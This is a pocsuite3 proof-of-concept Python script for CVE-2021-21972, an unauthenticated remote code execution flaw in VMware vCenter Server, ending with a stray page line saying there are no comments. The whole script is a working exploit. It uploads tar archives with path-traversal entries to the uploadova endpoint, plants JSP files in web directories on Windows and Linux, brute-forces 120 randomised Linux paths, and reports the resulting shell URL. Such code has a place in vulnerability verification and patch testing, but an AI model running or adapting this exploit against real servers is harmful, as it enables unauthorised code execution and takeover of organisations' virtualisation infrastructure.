#!/usr/bin/env python
# coding: utf-8
import tarfile
from io import BytesIO
from pocsuite3.api import POCBase, Output, register_poc, logger, POC_CATEGORY, requests, get_listener_ip, \
    get_listener_port
from pocsuite3.lib.utils import random_str
class DemoPOC(POCBase):
    vulID = '99134'
    version = '1.0'
    author = ['kuipla']
    vulDate = '2021-02-23'
    createDate = '2021-02-25'
    updateDate = '2021-02-25'
    references = ['https://www.seebug.org/vuldb/ssvid-99134']
    name = 'VMware vCenter Server未授权RCE漏洞(CVE-2021-21972)'
    appPowerLink = 'https://www.vmware.com/'
    appName = 'VMware vCenter Server'
    appVersion = 'version < 7.0 U1c、version < 6.7 U3l、version < 6.5 U3n'
    vulType = 'UnAuth RCE'
    desc = ''''''
    samples = ['']
    install_requires = ['']
    category = POC_CATEGORY.TOOLS.CRACK
    protocol = POC_CATEGORY.PROTOCOL.SSH
    def uploadFile(self, ip, file_name, path, file_content):
        payload = BytesIO()
        tar = tarfile.open(mode="w", fileobj=payload)
        if "statsreport" in path:
            tarinfo = tarfile.TarInfo(name=r'{}\{}'.format(path, file_name))
        else:
            tarinfo = tarfile.TarInfo(name=r'{}/{}'.format(path, file_name))
        f1 = BytesIO(file_content.encode())
        tarinfo.size = len(f1.read())
        f1.seek(0)
        tar.addfile(tarinfo, fileobj=f1)
        tar.close()
        payload.seek(0)
        res = requests.post(
            f'{ip}/ui/vropspluginui/rest/services/uploadova',
            files={'uploadFile': payload.read()},
            timeout=10,
            verify=False,
        )
        return res
    def uploadLinuxRandomPayload(self, ip, file_name, file_content, check_flag):
        logger.info("[-] Shell upload SUCCESS, BUT NOT EXIST, trying Linux Random payload...")
        for i in range(120):
            path = r'../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/{}/0/h5ngc.war/resources'.format(i)
            logger.info('[+] Adding ' + file_name + ' as ' + r'{}/{}'.format(path, file_name) + ' to archive')
            payload = BytesIO()
            tar = tarfile.open(mode="w", fileobj=payload)
            tarinfo = tarfile.TarInfo(name=r'{}/{}'.format(path, file_name))
            f1 = BytesIO(file_content.encode())
            tarinfo.size = len(f1.read())
            f1.seek(0)
            tar.addfile(tarinfo, fileobj=f1)
            tar.close()
            payload.seek(0)
            requests.post(
                f'{ip}/ui/vropspluginui/rest/services/uploadova',
                files={'uploadFile': payload.read()},
                timeout=10,
                verify=False,
                allow_redirects=False
            )
            resp = requests.get(self.url + "/ui/resources/" + file_name, verify=False,
                                allow_redirects=False)
            if resp.status_code == 200 and check_flag in resp.text:
                logger.error("[+] Get Server Random Path !!!! Try path {}".format(path))
                return resp
        logger.info("[-] All payload has been upload but not SUCCESS")
        return ""
    def exploit(self, file_content, check_flag):
        url = self.url.rstrip('/')
        file_name = random_str() + '.jsp'
        path_linux = r'../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources'
        path_windows = r'..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport'
        shell_url = ""
        resp = requests.get(url + "/ui/vropspluginui/rest/services/uploadova", verify=False)
        if resp.status_code == 405:
            res = self.uploadFile(url, file_name, path_windows, file_content)
            # the default is upload windows shell
            if res.status_code == 200 and "SUCCESS" in res.text:
                resp = requests.get(self.url + "/statsreport/" + file_name, verify=False)
                shell_url = self.url + "/statsreport/" + file_name
                # if upload SUCCESS but the file dont exists, check with linux shell
                if not (resp.status_code == 200 and check_flag in resp.text):
                    logger.info("[+] trying to upload linux webshell")
                    resp = self.uploadFile(url, file_name, path_linux, file_content)
                    shell_url = self.url + "/ui/resources/" + file_name
                    logger.info("[+] i am here")
                    if resp.status_code == 200 and "SUCCESS" in resp.text:
                        resp = requests.get(self.url + "/ui/resources/" + file_name, verify=False,
                                            allow_redirects=False)
                        if not (resp.status_code == 200 and check_flag in resp.text):
                            # linux path is random, vCenter will regenerate web folder when vCenter Server restart, Attempts to brute force web folders up to 120 times
                            res = self.uploadLinuxRandomPayload(self.url, file_name, file_content, check_flag)
                            if res:
                                resp = res
            else:
                res = self.uploadFile(url, file_name, path_linux, file_content)
                shell_url = self.url + "/ui/resources/" + file_name
                if res.status_code == 200 and "SUCCESS" in res.text:
                    resp = requests.get(self.url + "/ui/resources/" + file_name, verify=False,
                                        allow_redirects=False)
                    if not (resp.status_code == 200 and check_flag in resp.text):
                        res = self.uploadLinuxRandomPayload(self.url, file_name, file_content, check_flag)
                        if res:
                            resp = res
        return resp, shell_url
    def _verify(self):
        result = {}
        check_flag = random_str()
        file_content = '<% out.println("{}"); %>'.format(check_flag)
        try:
            resp, shell_url = self.exploit(file_content, check_flag)
            if resp.status_code == 200 and check_flag in resp.text and shell_url:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['shell_path'] = shell_url
        except Exception as e:
            logger.error(e)
        return self.parse_output(result)
    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output
register_poc(DemoPOC)
                              
                        
                    
                
              
                
             
          
          
暂无评论